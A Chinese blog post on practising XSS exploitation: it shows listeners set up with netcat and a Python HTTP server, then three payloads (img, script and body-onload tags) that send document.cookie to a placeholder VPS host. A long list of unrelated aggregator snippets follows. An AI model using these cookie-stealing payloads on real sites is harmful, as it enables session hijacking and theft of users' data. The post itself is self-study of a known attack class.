猫星人不会笑
猫星人不会笑

XSS利用方式

前言

学习XSS注入很久了，XSS主要的情况三分天下：反射型、存储型、DOM型；今天要研究的是XSS的利用，曾经有人问我XSS怎么利用的，我也只知道XSS在网页中嵌入代码，获取目标IP、Cookie，但是从来没有实践过，今天浏览FreeBuf时，发现一篇XSS利用文章，哈哈哈……于是乎，实践一下……

准备

为了获取目标IP及ookie，实践开始之前，需要准备一个东西：VPS，但是我没办法准备，所以只好一些简单的方法：基本的思想是，获取目标IP，将IP返回到我们指定的IP端口上，我们监听这个端口，获取返回的IP信息。

利用netcat

如果系统中有NC，可以运行命令：

nc -vil 8080

XSS利用方式_第1张图片

利用python

只要安装了python，并添加了环境变量，就可以在DOS中运行：

Python -m SimpleHTTPServer 8080

XSS利用方式_第2张图片

注意：这个命令只能在DOS中运行，不能在python交互式环境中运行，否则会出现如下情况：
XSS利用方式_第3张图片
注意：以上两种方法的DOS窗口都不能关闭，否则失败。

获取IP及Cookie代码

  • img标签
document.body.appendChild(document.createElement('img')).setAttribute('src','http://VPS地址:80/?='+document.cookie); >
  • script标签
<script>window.location.href='http://VPS地址/?cookie='+document.cookiescript>
  • body标签
<body onload=eval(“document.body.appendChild(document.createElement('img')).setAttribute('src','http://VPS地址/?='+document.cookie);”)>body>

过程

  1. 先使用命令：Python -m SimpleHTTPServer 8080；
    XSS利用方式_第4张图片
    2.使用以上3个标签中的一种编写成HTML文件，并访问；

    • img标签
      这里写图片描述

    • img标签运行结果：
      XSS利用方式_第5张图片

    • script标签
      XSS利用方式_第6张图片

    • script标签运行结果：
      XSS利用方式_第7张图片

    • body标签
      这里写图片描述

    • body标签运行结果：
      XSS利用方式_第8张图片

其实XSS还有其他利用方法，需要更加深入的研究、发掘。但是仅仅获取目标IP绰绰有余了。
参考文章：(http://www.freebuf.com/sectool/159689.html)

你可能感兴趣的:(安全,XSS)

  • 临夏市公安局交警大队7月3日交通秩序整治工作日报 0ac9f2ac4866
    2019年7月3日，临夏市公安局交警大队共出动警力113余人，警车9辆，警用摩托车11辆，在全市辖区范围内开展交通秩序整治。图片发自App图片发自App图片发自App图片发自App今日查处违法行为共230起，其中违法停车87起，摩托车不戴头盔19起，未系安全带16起，机动车违反禁令标志23起，逾期未检验起12，电瓶车逆向行驶24起，电动车非法载人18起，行人闯红灯39起，现场批评教育驾驶人54人。
  • Windows 环境下 Nginx 的安装与高级配置指南
    目录第一章：Windows平台Nginx概述1.1Windows版Nginx特点1.2适用场景分析第二章：Nginx安装与配置2.1下载与安装2.2目录结构说明2.3注册为系统服务（可选）第三章：基础配置与优化3.1主配置文件优化(conf/nginx.conf)3.2虚拟主机配置示例第四章：性能优化策略4.1Windows特有优化参数4.2不同配置性能对比4.3系统参数调整第五章：安全配置5.1
  • 信用卡倒卡最佳方法信用卡使用方法和（技巧乐刷pos官网）建议尽量 小易的生活
    信用卡倒卡通常指的是通过一种非正规手段，如套现等，来实现信用卡资金的转移或利用。然而，我必须明确指出.关于信用卡的正确使用方法，可以归纳如下：信用卡使用方法激活信用卡：在收到信用卡后，按照银行提供的指引进行激活。激活方式可能包括电话激活、网上银行激活或移动应用激活等激活过程中需输入信用卡卡号、有效期、安全码等信息，并设置查询密码和交易密码。刷卡消费：信用卡的主要功能是刷卡消费。在实体店或线上商家购
  • RabbitMQ--消息应答
    一、概念1、概念消费者完成一个任务可能需要一段时间，如果其中一个消费者处理一个长的任务并只完成了部分突然他就挂了，此时消息就会丢失。为了保证消息在发送过程中不丢失，RabbitMQ引入了消息应答机制，消息应答就是：消费者在接收到消息并处理该消息后，告诉RabbitMQ已经处理，RabbitMQ就可以把该消息删除。2、自动应答消息发送后立即被任务已传送成功，这种模式需要在高吞吐量和数据传输安全性方面
  • ❤️好巧，怎么说的是你。 我是你的傻蛋呀
    图片发自App一直觉得，喜欢截屏聊天记录的人，对于幸福的感受，都不是那么清晰。大概是太没有安全感了，所以才总是想要寻找一些证据，来证明自己遇到的是爱情。才会在看到那些用文字表达出来的爱意时，就迫不及待地截图保存。以为那些字句，就是他爱你的表现。真正的爱情哪里需要证明，他爱不爱你，没有人比你更清楚了。为什么生活中有那么多女生喜欢截屏？说到底还是因为他给的爱太少了啊，少到你只能通过那些没有温度的文字，
  • 技术演进中的开发沉思-15 window编程系列：内存体系结构（下） chilavert318 熬之滴水穿石windows
    今天接着上个章节没讲完的内容继续，在我眼里Windows内存体系结构就如同深埋在海底的神秘宝藏，承载着系统运行的关键密码，今天我们从其中的页面保护属性、实例分析与数据对齐说起。一、页面保护属性在Windows的内存世界里，页面保护属性就像是一支训练有素的守护者联盟，它们日夜坚守岗位，守护着数据的安全与稳定，确保系统能够有条不紊地运行。每一种保护属性都有着独特的职责与使命，它们相互协作，共同构建起一
  • 【Elasticsearch】安全地删除快照仓库、快照
    安全地删除快照仓库、快照1.删除仓库2.删除快照在上一篇博文《【Elasticsearch】快照与恢复功能详解》中，我们针对Elasticsearch的快照和恢复功能进行的讲解。细心的同学可能会对以下的命令产生疑惑，直接删除是安全的吗？本文将会给你答案。删除仓库：DELETE/_snapshot/my_backup_repo删除快照：DELETE/_snapshot/my_backup_repo/
  • 日进六功第100天之突破 腾飞爱自己
    1.执行力之突破感恩陪伴，活出自己！一直逃避，讨好，无处可逃的煎熬为哪般！你准好了吗？真的准备好了吗？问问你的心…昨天老师还问我…两天课程的浸泡，最大的突破是敢于表达自己…抓住最后的护航尾巴，今天主动找到护航老师，一切都是最好的安排！当控制型老板遇到叛逆期员工！如此在意别人的眼光，逼得自己痛苦煎熬为哪般？敢对自己下刀才是根本…不接受不愿意面对自己的爷爷，姥姥突然离世，妈妈的恐惧和不安全感！表达出自
  • HTTPS证书体系，证书加密流程（通信体系）
    目录一、HTTPS证书体系：核心是“信任链”机制二、HTTPS通信加密流程（TLS握手+数据传输）三、核心逻辑总结一、HTTPS证书体系：核心是“信任链”机制HTTPS证书（SSL/TLS证书）是用于验证服务器身份并加密通信的电子文件，其核心作用是解决“如何让客户端信任服务器身份”以及“如何安全交换加密密钥”。证书体系通过层级化的信任机构（CA）构建，本质是一套“由权威机构背书的身份验证体系”。1
  • 网络安全第三次作业 zesfeds csshtml前端
    多功能演示页面/*全局样式*/*{margin:0;padding:0;box-sizing:border-box;font-family:'Arial',sans-serif;}body{background-color:#f0f2f5;color:#333;line-height:1.6;}.container{max-width:1200px;margin:0auto;padding:20p
  • 借助零信任网格重塑分布式MCP与LLM访问：安全、灵活的下一代架构实践 码力金矿 机器学习深度学习人工智能人工智能自动化运维数据库mysqlpythonjava
    在数字化转型的浪潮中，AI应用与分布式系统正在加速融合。传统架构中，MCP（模型上下文协议）服务与LLM（大语言模型）工具的部署常面临安全暴露、网络复杂性、跨防火墙通信等挑战。本文将结合零信任网格（ZTM,ZeroTrustMesh）与Flomesh技术，探索一种更安全、灵活的分布式架构方案，让MCP服务无需VPN或静态IP即可实现全球可访问，同时为LLM应用提供统一的安全层。一、传统分布式架构的
  • 二维码异地收款无限制,什么收款码可以异地收款 神州网络公司
    在现代社会中，随着电子支付的普及和使用频率的增加，收款方式也变得多样化。针对异地收款需求，各种收款码应运而生，为人们提供了极大的便利。今天，我们将探讨一些常见的异地收款码及其特点。首先，我们来了解一下支付宝收款码。支付宝作为中国最主流的移动支付平台之一，其收款码功能得到广泛应用。通过支付宝收款码，用户可以将自己的收款二维码分享给他人，无论对方身处何地，只要扫描二维码并确认支付，资金就能安全快速地转
  • 基于Docker搭建Harbor私有镜像仓库
    Harbor是VMware开源的企业级Docker容器镜像仓库，支持镜像存储、访问控制、镜像复制、安全扫描、审计日志等功能，适合企业级私有化部署。1.前置环境说明Harbor的部署依赖于Docker和DockerCompose环境。鉴于Docker已在系统中完成安装，以下将重点介绍DockerCompose的配置及Harbor的安装步骤。下面示例是在线安装，离线安装可以去github下载安装包[r
  • Kubernetes 核心命令速查手册：运维与开发必备 liux3528 k8skubernetes运维容器
    本文整理了Kubernetes集群运维的实用命令集锦，涵盖8大核心场景：1）集群基础信息查看；2）Pod生命周期管理；3）服务与网络配置；4）存储与配置管理；5）故障排查方法；6）性能监控优化；7）高级运维技巧；8）命令行效率工具。重点包括节点状态查询、Pod调试、日志分析、网络连通性测试、资源监控等高频操作，并提供了批量处理、安全审计、集群维护等进阶技巧。每个命令均标注适用场景，可作为K8s运维
  • 线程安全之乐观锁和悲观锁
    锁可以从不同的⻆度分类。其中，乐观锁和悲观锁是⼀种分类⽅式。悲观锁：悲观锁就是我们常说的锁。对于悲观锁来说，它总是认为每次访问共享资源时会发⽣冲突，所以必须对每次数据操作加上锁，以保证临界区的程序同⼀时间只能有⼀个线程在执⾏。乐观锁：乐观锁⼜称为“⽆锁”，顾名思义，它是乐观派。乐观锁总是假设对共享资源的访问没有冲突，线程可以不停地执⾏，⽆需加锁也⽆需等待。⽽⼀旦多个线程发⽣冲突，乐观锁通常是使⽤⼀
  • 黄河，我的母亲——教读《黄河颂》有感 山城居士
    黄河，你是巍巍昆仑孕育的女儿是生我，养我的母亲你如同黄沙般普通又朴实每天重复着同样的事——哺育我成长你伸出千万条柔弱的手臂，揽着我给我温暖与安全你是摇篮，我就是你摇篮里的婴孩你经历无数的狂风暴雨始终不变奔向黄海的志向把坚强融进了血脉这是你赋予我的期盼——博大胸怀这是你教会我的人生——坚强勇敢
  • Linux利用多线程和线程同步实现一个简单的聊天服务器
    1.概述本文实现一个基于TCP/IP的简单多人聊天室程序。它包含一个服务器端和一个客户端：服务器能够接收多个客户端的连接，并将任何一个客户端发来的消息广播给所有其他连接的客户端；客户端则可以连接到服务器，发送消息并接收来自其他人的消息。该Demo运用了网络编程（SocketAPI）、多线程（Pthreads）以及线程同步（互斥锁）技术，以实现并发处理和数据共享安全。2.核心技术网络编程(Socke
  • ESG碳交易骗局揭秘！量化北恒私募实盘大赛周一丰郭沛源被骗历程!受骗不能出金! 易星辰分享普法
    量化北恒私募实盘大赛周一丰投票项目安全吗?量化北恒私募实盘大赛周一丰积分投票已经亏损被骗了怎么办？警惕!量化北恒私募实盘大赛周一丰十选五项目合法吗——杀猪盘骗局！被骗提不了款!提不了现!出不来金!不要上当!自古有句话讲得好“人善被欺、马善被骑”，现如今也是被骗子利用到了极致，人善就真该被欺骗吗？狡猾的骗子们就利用到了这点，利用同情心、爱心去进行诈骗，宣传公益捐款、爱心慈善打比赛来骗取资金！正常的投
  • Navicat 连接不上阿里云服务器中安装的宝塔面板中的Mysql服务器 一只程序熊 阿里云服务器云计算
    项目场景：就今天在做宝塔的时候遇到一个新问题，在之前的阿里云服务器中都没有发现过这个问题！特此记录解决方案：本地连接不上云服务器主要是这几个原因：1.云服务器官方的安全组问题(安全组是否放行目标端口)2.云服务器内部的服务端口问题(服务器内部端口是否向外部开放)但是今天我又在云服务器安全组内部发现了一个新的问题：3.云服务器中设置了仅本机访问的ipv6的地址，但是仍然访问不了。可能是因为navic
  • 计算机网络学习----Https协议 典孝赢麻崩乐急 计算机网络学习https
    在互联网通信中，数据安全始终是核心需求。当用户在浏览器中输入https://访问网站时，背后隐藏着一套复杂的安全机制——HTTPS（HypertextTransferProtocolSecure）。它通过TLS/SSL协议对HTTP通信加密，而支撑这一加密体系的核心正是证书体系。本文将详细解析HTTPS的证书体系、加密通信流程、核心作用、优缺点，并结合代码示例说明其实现逻辑。HTTPS是什么？HT
  • 2021-05-04 2021年5月9日考试顺利通过毕业 kellying
    不知什么时候，我每逢考试，我非常的紧张，考试之前根本无法入睡，精神也不再状态里，这是我一直来的毛病，在读小学，中学，中专，考试的时候，经常丢东西，丢三丢四，因此掉了很多的东西，经常抱怨自己，恨自己，结果我一点不自信，缺乏安全感，走进社会，混的不好。是自己记忆性不如别人，所以做任何事情不如别人，现在经过自己的努力终于找到一点自信了，希望我的今后的日子好过点，谢谢
  • 基于单片机智能消毒柜设计 小新单片机 单片机设计库单片机嵌入式硬件stm32消毒柜
    传送门其他作品题目速选一览表其他作品题目功能速览概述本设计实现了一种基于单片机的高效智能消毒柜系统，集精准灭菌、安全防护与能耗管理于一体。系统以微控制器（如STM32）为核心，集成多模式消毒模块、环境传感器及人机交互单元。所以想通过本次设计真正意义上去感受智能产品的魅力;更加深刻了解单片机以及嵌入式操作系的主要特点在于功能性强实用、操作简单、价格低并且还易于安装这些特点。一、系统核心组成模块功能说
  • 煤海放飞青春梦 尘飞扬兮
    青春像一首诗，任凭年青的心灵创作；青春像一碗心灵鸡汤，令失去它的人午夜梦回念念不忘；青春更像一个梦，让无数选煤儿女兢兢业业为之奋斗，为之耕耘！在美丽的准格尔煤田，一批批怀揣青春梦的青年们前仆后继破碎站——梦开始的地方驰骋煤海，他们在这里播种青春梦，收获了事业的成功更实现了人生的价值！阳光倾洒而下，轻柔曼妙，轻地仿佛怕惊动了沉睡的煤尘。嘎吱一声响，岗位室的门开了，一个头戴红色安全帽，系黑色帽带，穿橘
  • 基于单片机智能衣柜/智能衣橱设计 小新单片机 单片机设计库单片机嵌入式硬件51单片机stm32智能衣橱
    传送门其他作品题目速选一览表其他作品题目功能速览概述本设计实现了一种基于单片机的多功能智能衣柜，融合环境检测、安全防护与用户交互功能。系统以微控制器（如STM32/ESP32）为核心，集成传感器、执行机构及无线通信模块（Wi-Fi/蓝牙）。研究此项目可以让我们的生活变得更加便捷，所以想通过本次设计真正意义上去感受智能产品的魅力;更加深刻了解单片机以及嵌入式操作系的主要特点在于功能性强实用、操作简单
  • 记录快乐的读书时光 林姐_健康生活
    “魔法人生·悦读俱乐部”第21天打卡（《业力管理》第97页~第112页）：生命终究是脆弱的，十几岁的少年骑电动车和三轮车发生车祸，人当场没了，可以想象到父母撕心裂肺的痛…到底是谁的错？孩子的胆大？父母的放纵？车主的粗心大意？揪谁的错没有意义，流逝的生命已无法挽回，安全警钟必须长鸣！一、今天阅读的有哪些重点内容，对我有哪些启发今天读了业力管理法则五：停止做决定1.“极简主义”设计，只有礼盒图片，没有
  • 典型骗局：以为进了炒股“社科院正式学堂朱民内部群”赚了大钱!结果进入St-balance节能煤水风电市场杀猪盘被骗45万 反诈进行时
    小心虚假St-balance节能煤水风电市场诈骗股股民！科院正式学堂朱民授课免费荐股有猫腻，不要投钱！随着互联网的普及，数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁。因此，我们有必要提高警惕，防范黑平台诈骗St-balance节能煤水风电市场就是虚假平台，早期小故意让你提现，一旦大资金进入就
  • ELF文件解析 涌进的小羔羊 Android逆向androidc++ELF解析
    ELF文件解析近期正在进行Android的逆向。自己写出好代码是一个方面，而破解别人的代码则会给人另一种感受。因Java层的Android开发是如此不安全，越来越多的公司把重要的东西写入Native层，逻辑处理均由Native层完成，而Java层只负责进行结果显示。这样便要求对Native层的so文件进行逆向解析，而so文件是linux系统下的ELF(ExcutableandLinkableFil
  • FTP考点 之凹の鸥 笔记
    在网络工程师、运维工程师、系统管理员等岗位的面试中，FTP（FileTransferProtocol，文件传输协议）是基础但高频的考点，尤其在涉及文件共享、数据传输、服务器管理等场景中。以下是系统化的核心考点梳理，涵盖FTP基础概念、工作模式、安全特性及应聘高频问题。一、FTP基础考点1.FTP的核心概念（必会）(1)FTP的定义与作用定义：FTP是应用层协议，用于在客户端和服务器之间可靠地传输文
  • DNS考点
    在网络工程师、系统工程师、运维工程师、安全工程师等岗位的面试中，DNS（DomainNameSystem，域名系统）是高频必考知识点。DNS作为互联网的“电话簿”，负责将人类可读的域名（如www.example.com）解析为机器可识别的IP地址（如192.0.2.1），是网络通信的基础组件。以下是系统化的核心考点梳理，涵盖DNS基础概念、工作原理、协议细节及应聘高频问题。一、DNS基础考点1.D
  • 路由，代理服务器和NAT技术的区别
    常见的局域网接入Internet的技术有三种：直接路由代理服务器(proxy)网络地址转换(NAT)一、直接路由第一种方法比较简单直接，不过要求客户机都有真实IP，仅这一点，大多数的环境就无法满足–IP地址可是紧缺资源哦。而且一台硬件路由器的价格不斐，真实IP挂在网上安全上也让人不放心。所以这种方案应用得不多。二、代理服务器代理服务器（ProxyServer）是一种重要的服务器安全功能，它的工作主
  • java短路运算符和逻辑运算符的区别 3213213333332132 java基础
    /* * 逻辑运算符——不论是什么条件都要执行左右两边代码 * 短路运算符——我认为在底层就是利用物理电路的“并联”和“串联”实现的 * 原理很简单，并联电路代表短路或（||），串联电路代表短路与（&&）。 * * 并联电路两个开关只要有一个开关闭合，电路就会通。 * 类似于短路或（||），只要有其中一个为true（开关闭合）是
  • Java异常那些不得不说的事 白糖_ javaexception
    一、在finally块中做数据回收操作 比如数据库连接都是很宝贵的，所以最好在finally中关闭连接。 JDBCAgent jdbc = new JDBCAgent(); try{ jdbc.excute("select * from ctp_log"); }catch(SQLException e){ ... }finally{ jdbc.close();
  • utf-8与utf-8(无BOM)的区别 dcj3sjt126com PHP
    BOM——Byte Order Mark，就是字节序标记   在UCS 编码中有一个叫做"ZERO WIDTH NO-BREAK SPACE"的字符，它的编码是FEFF。而FFFE在UCS中是不存在的字符，所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前，先传输 字符"ZERO WIDTH NO-BREAK SPACE"。这样如
  • JAVA Annotation之定义篇 周凡杨 java注解annotation入门注释
        Annotation: 译为注释或注解 An annotation, in the Java computer programming language, is a form of syntactic metadata that can be added to Java source code. Classes, methods, variables, pa
  • tomcat的多域名、虚拟主机配置 g21121 tomcat
    众所周知apache可以配置多域名和虚拟主机，而且配置起来比较简单，但是项目用到的是tomcat，配来配去总是不成功。查了些资料才总算可以，下面就跟大家分享下经验。 很多朋友搜索的内容基本是告诉我们这么配置： 在Engine标签下增面积Host标签，如下： <Host name="www.site1.com" appBase="webapps"
  • Linux SSH 错误解析（Capistrano 的cap 访问错误 Permission ） 510888780 linuxcapistrano
    1.ssh -v [email protected] 出现 Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password). 错误 运行状况如下： OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013 debug1: Reading configuratio
  • log4j的用法 Harry642 javalog4j
    一、前言：     log4j 是一个开放源码项目，是广泛使用的以Java编写的日志记录包。由于log4j出色的表现，     当时在log4j完成时，log4j开发组织曾建议sun在jdk1.4中用log4j取代jdk1.4 的日志工具类，但当时jdk1.4已接近完成，所以sun拒绝使用log4j，当在java开发中
  • mysql、sqlserver、oracle分页，java分页统一接口实现 aijuans oraclejave
    定义：pageStart 起始页，pageEnd 终止页,pageSize页面容量 oracle分页： 　　　　select * from ( select mytable.*,rownum num from (实际传的SQL) where rownum<=pageEnd) where num>=pageStart sqlServer分页：  
  • Hessian 简单例子 antlove javaWebservicehessian
    hello.hessian.MyCar.java package hessian.pojo; import java.io.Serializable; public class MyCar implements Serializable { private static final long serialVersionUID = 473690540190845543
  • 数据库对象的同义词和序列 百合不是茶 sql序列同义词ORACLE权限
    回顾简单的数据库权限等命令; 解锁用户和锁定用户 alter user scott account lock/unlock; //system下查看系统中的用户 select * dba_users; //创建用户名和密码 create user wj identified by wj; identified by //授予连接权和建表权 grant connect to
  • 使用Powermock和mockito测试静态方法 bijian1013 持续集成单元测试mockitoPowermock
            实例： package com.bijian.study; import static org.junit.Assert.assertEquals; import java.io.IOException; import org.junit.Before; import org.junit.Test; import or
  • 精通Oracle10编程SQL(6)访问ORACLE bijian1013 oracle数据库plsql
    /* *访问ORACLE */ --检索单行数据 --使用标量变量接收数据 DECLARE v_ename emp.ename%TYPE; v_sal emp.sal%TYPE; BEGIN select ename,sal into v_ename,v_sal from emp where empno=&no; dbms_output.pu
  • 【Nginx四】Nginx作为HTTP负载均衡服务器 bit1129 nginx
     Nginx的另一个常用的功能是作为负载均衡服务器。一个典型的web应用系统，通过负载均衡服务器，可以使得应用有多台后端服务器来响应客户端的请求。一个应用配置多台后端服务器，可以带来很多好处：   负载均衡的好处 增加可用资源 增加吞吐量 加快响应速度，降低延时 出错的重试验机制 Nginx主要支持三种均衡算法： round-robin l
  • jquery-validation备忘 白糖_ jquerycssF#Firebug
    留点学习jquery validation总结的代码：   function checkForm(){ validator = $("#commentForm").validate({// #formId为需要进行验证的表单ID errorElement :"span",// 使用"div"标签标记错误， 默认:&
  • solr限制admin界面访问（端口限制和http授权限制） ronin47 限定Ip访问
    solr的管理界面可以帮助我们做很多事情，但是把solr程序放到公网之后就要限制对admin的访问了。 可以通过tomcat的http基本授权来做限制，也可以通过iptables防火墙来限制。 我们先看如何通过tomcat配置http授权限制。 第一步： 在tomcat的conf/tomcat-users.xml文件中添加管理用户，比如： <userusername="ad
  • 多线程-用JAVA写一个多线程程序，写四个线程，其中二个对一个变量加1，另外二个对一个变量减1 bylijinnan java多线程
    public class IncDecThread { private int j=10; /* * 题目:用JAVA写一个多线程程序，写四个线程，其中二个对一个变量加1，另外二个对一个变量减1 * 两个问题： * 1、线程同步--synchronized * 2、线程之间如何共享同一个j变量--内部类 */ public static
  • 买房历程 cfyme
        2015-06-21: 万科未来城，看房子   2015-06-26: 办理贷款手续，贷款73万，贷款利率5.65=5.3675   2015-06-27: 房子首付,签完合同   2015-06-28，央行宣布降息 0.25，就2天的时间差啊，没赶上。   首付，老婆找他的小姐妹接了5万，另外几个朋友借了1-
  • [军事与科技]制造大型太空战舰的前奏 comsci 制造
           天气热了........空调和电扇要准备好..........        最近,世界形势日趋复杂化,战争的阴影开始覆盖全世界..........        所以,我们不得不关
  • dateformat dai_lm DateFormat
    "Symbol Meaning Presentation Ex." "------ ------- ------------ ----" "G era designator (Text) AD" "y year
  • Hadoop如何实现关联计算 datamachine mapreducehadoop关联计算
        选择Hadoop，低成本和高扩展性是主要原因，但但它的开发效率实在无法让人满意。     以关联计算为例。     假设：HDFS上有2个文件，分别是客户信息和订单信息，customerID是它们之间的关联字段。如何进行关联计算，以便将客户名称添加到订单列表中？   &nbs
  • 用户模型中修改用户信息时，密码是如何处理的 dcj3sjt126com yii
    当我添加或修改用户记录的时候对于处理确认密码我遇到了一些麻烦，所有我想分享一下我是怎么处理的。 场景是使用的基本的那些(系统自带)，你需要有一个数据表(user)并且表中有一个密码字段(password),它使用 sha1、md5或其他加密方式加密用户密码。 面是它的工作流程: 当创建用户的时候密码需要加密并且保存，但当修改用户记录时如果使用同样的场景我们最终就会把用户加密过的密码再次加密，这
  • 中文 iOS/Mac 开发博客列表 dcj3sjt126com Blog
      本博客列表会不断更新维护，如果有推荐的博客，请到此处提交博客信息。 本博客列表涉及的文章内容支持 定制化Google搜索，特别感谢 JeOam 提供并帮助更新。 本博客列表也提供同步更新的OPML文件（下载OPML文件），可供导入到例如feedly等第三方定阅工具中，特别感谢 lcepy 提供自动转换脚本。这里有导入教程。
  • js去除空格，去除左右两端的空格 蕃薯耀 去除左右两端的空格js去掉所有空格js去除空格
    js去除空格，去除左右两端的空格 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>&g
  • SpringMVC4零配置--web.xml hanqunfeng springmvc4
    servlet3.0+规范后，允许servlet，filter，listener不必声明在web.xml中，而是以硬编码的方式存在，实现容器的零配置。 ServletContainerInitializer：启动容器时负责加载相关配置 package javax.servlet; import java.util.Set; public interface ServletContainer
  • 《开源框架那些事儿21》：巧借力与借巧力 j2eetop 框架UI
    同样做前端UI，为什么有人花了一点力气，就可以做好？而有的人费尽全力，仍然错误百出？我们可以先看看几个故事。 故事1：巧借力，乌鸦也可以吃核桃 有一个盛产核桃的村子，每年秋末冬初，成群的乌鸦总会来到这里，到果园里捡拾那些被果农们遗落的核桃。 核桃仁虽然美味，但是外壳那么坚硬，乌鸦怎么才能吃到呢？原来乌鸦先把核桃叼起，然后飞到高高的树枝上，再将核桃摔下去，核桃落到坚硬的地面上，被撞破了，于是，
  • JQuery EasyUI 验证扩展 可怜的猫 jqueryeasyui验证
      最近项目中用到了前端框架-- EasyUI，在做校验的时候会涉及到很多需要自定义的内容，现把常用的验证方式总结出来，留待后用。   以下内容只需要在公用js中添加即可。   使用类似于如下： <input class="easyui-textbox" name="mobile" id="mobile&
  • 架构师之httpurlconnection----------读取和发送(流读取效率通用类) nannan408
    1.前言.    如题. 2.代码. /* * Copyright (c) 2015, S.F. Express Inc. All rights reserved. */ package com.test.test.test.send; import java.io.IOException; import java.io.InputStream
  • Jquery性能优化 r361251 JavaScriptjquery
    一、注意定义jQuery变量的时候添加var关键字 这个不仅仅是jQuery，所有javascript开发过程中，都需要注意，请一定不要定义成如下： $loading = $('#loading'); //这个是全局定义，不知道哪里位置倒霉引用了相同的变量名，就会郁闷至死的 二、请使用一个var来定义变量 如果你使用多个变量的话，请如下方式定义： . 代码如下: var page
  • 在eclipse项目中使用maven管理依赖 tjj006 eclipsemaven
    概览: 如何导入maven项目至eclipse中 建立自有Maven  Java类库服务器 建立符合maven代码库标准的自定义类库 Maven在管理Java类库方面有巨大的优势，像白衣所说就是非常“环保”。 我们平时用IDE开发都是把所需要的类库一股脑的全丢到项目目录下，然后全部添加到ide的构建路径中，如果用了SVN/CVS，这样会很容易就 把
  • 中国天气网省市级联页面 x125858805 级联
    1、页面及级联js <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> &l
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他